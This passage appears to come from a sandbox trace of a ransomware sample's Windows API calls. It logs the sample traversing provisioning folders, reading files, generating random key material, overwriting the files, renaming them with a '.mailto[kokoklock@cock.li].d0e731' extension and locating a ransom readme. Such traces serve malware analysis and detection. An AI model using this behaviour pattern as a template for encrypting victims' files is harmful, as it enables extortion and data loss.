Size=0x20) returned 0x342cc18 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.295] WriteFile (in: hFile=0x448, lpBuffer=0x342ca38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26cbfc54, lpOverlapped=0x0 | out: lpBuffer=0x342ca38*, lpNumberOfBytesWritten=0x26cbfc54*=0x20, lpOverlapped=0x0) returned 1 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca38) returned 1 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0082.295] WriteFile (in: hFile=0x448, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x26cbfc80*=0x8, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0x448, lpBuffer=0x26cbfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x26cbfc98*, lpNumberOfBytesWritten=0x26cbfc80*=0x4, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26cbfc80*=0x4, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26cbfc80*=0x6c, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0x448, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x26cbfc80*=0x20, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26cbfc80*=0x4, lpOverlapped=0x0) returned 1 [0082.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0082.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.296] CloseHandle (hObject=0x448) returned 1 [0082.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0082.296] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" [0082.296] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0082.296] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.297] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.297] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0082.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.298] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0082.298] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt" [0082.298] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\d0e731-readme.txt")) returned 0x20 [0082.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3477288) returned 1 [0082.298] RtlExitUserThread (Status=0x1) Thread: id = 1088 os_tid = 0x10a4 [0082.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34281f0 [0082.299] wcscpy (in: _Dest=0x34281f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0082.299] wcscat (in: _Dest=0x34281f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" [0082.299] wcscat (in: _Dest=0x34281f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*" [0082.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aafa8 [0082.299] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfe58 [0082.300] wcscmp (_String1=".", _String2=".") returned 0 [0082.300] FindNextFileW (in: hFindFile=0x33dfe58, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.300] wcscmp (_String1="..", _String2=".") returned 1 [0082.300] wcscmp (_String1="..", _String2="..") returned 0 [0082.300] FindNextFileW (in: hFindFile=0x33dfe58, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0082.300] wcscmp (_String1="RunTime", _String2=".") returned 1 [0082.300] wcscmp (_String1="RunTime", _String2="..") returned 1 [0082.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431e48 [0082.300] wcscpy (in: _Dest=0x3431e48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0082.300] wcscat (in: _Dest=0x3431e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" [0082.300] wcscat (in: _Dest=0x3431e48, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" [0082.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0082.948] FindNextFileW (in: hFindFile=0x33dfe58, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.948] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.948] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7af8 [0082.948] wcscpy (in: _Dest=0x33f7af8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0082.948] wcscat (in: _Dest=0x33f7af8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" [0082.948] wcscat (in: _Dest=0x33f7af8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml" [0082.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0082.949] FindNextFileW (in: hFindFile=0x33dfe58, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.949] FindClose (in: hFindFile=0x33dfe58 | out: hFindFile=0x33dfe58) returned 1 [0082.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aafa8) returned 1 [0082.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0082.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ac0) returned 1 [0082.949] RtlExitUserThread (Status=0x0) Thread: id = 1089 os_tid = 0x10ac [0082.301] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml")) returned 0x20 [0082.301] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0082.302] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0082.302] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x26dbff10 | out: lpFileSize=0x26dbff10*=3257) returned 1 [0082.302] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0xcb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.302] ReadFile (in: hFile=0x4a4, lpBuffer=0x26dbfee4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x26dbfee4*, lpNumberOfBytesRead=0x26dbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.311] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca10 [0082.311] NtQuerySystemTime (in: CurrentTime=0x26dbfebc | out: CurrentTime=0x26dbfebc*=132121176402117090) returned 0x0 [0082.311] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xb933f23b [0082.311] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x21ecafb2 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x364be76 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x75ffc520 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xe854bb29 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x131a50d5 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x115efe52 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x547325ee [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x3489d02f [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x172995ca [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xd9446185 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x93290835 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x85e4bed4 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x89c2fe02 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x2495015 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xa659f911 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x24f2f908 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xfa9fc49d [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xfa0880b6 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xe7a9004c [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x92b4c011 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x811a08c6 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x31b8962e [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x281b52bf [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x20316a21 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xd02e3617 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x6eb46c9b [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xb544c43 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x94fd68c9 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x936ad665 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0xd6679c99 [0082.312] RtlRandom (in: Seed=0x26dbfec8 | out: Seed=0x26dbfec8) returned 0x4c5b5092 [0082.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0082.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.323] ReadFile (in: hFile=0x4a4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0xcb9, lpNumberOfBytesRead=0x26dbfebc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26dbfebc*=0xcb9, lpOverlapped=0x0) returned 1 [0082.323] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dbfe84 | out: lpNewFilePointer=0x0) returned 1 [0082.323] WriteFile (in: hFile=0x4a4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0xcb9, lpNumberOfBytesWritten=0x26dbfeb8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26dbfeb8*=0xcb9, lpOverlapped=0x0) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.323] WriteFile (in: hFile=0x4a4, lpBuffer=0x342ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26dbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x342ca60*, lpNumberOfBytesWritten=0x26dbfeb4*=0x20, lpOverlapped=0x0) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0082.324] WriteFile (in: hFile=0x4a4, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x26dbfee0*=0x8, lpOverlapped=0x0) returned 1 [0082.324] WriteFile (in: hFile=0x4a4, lpBuffer=0x26dbfef8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x26dbfef8*, lpNumberOfBytesWritten=0x26dbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.324] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26dbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.324] WriteFile (in: hFile=0x4a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26dbfee0*=0x6c, lpOverlapped=0x0) returned 1 [0082.324] WriteFile (in: hFile=0x4a4, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x26dbfee0*=0x20, lpOverlapped=0x0) returned 1 [0082.324] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26dbfee0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26dbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca38) returned 1 [0082.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.324] CloseHandle (hObject=0x4a4) returned 1 [0082.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0082.325] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" [0082.325] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0082.325] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.326] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0082.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.326] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0082.326] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All 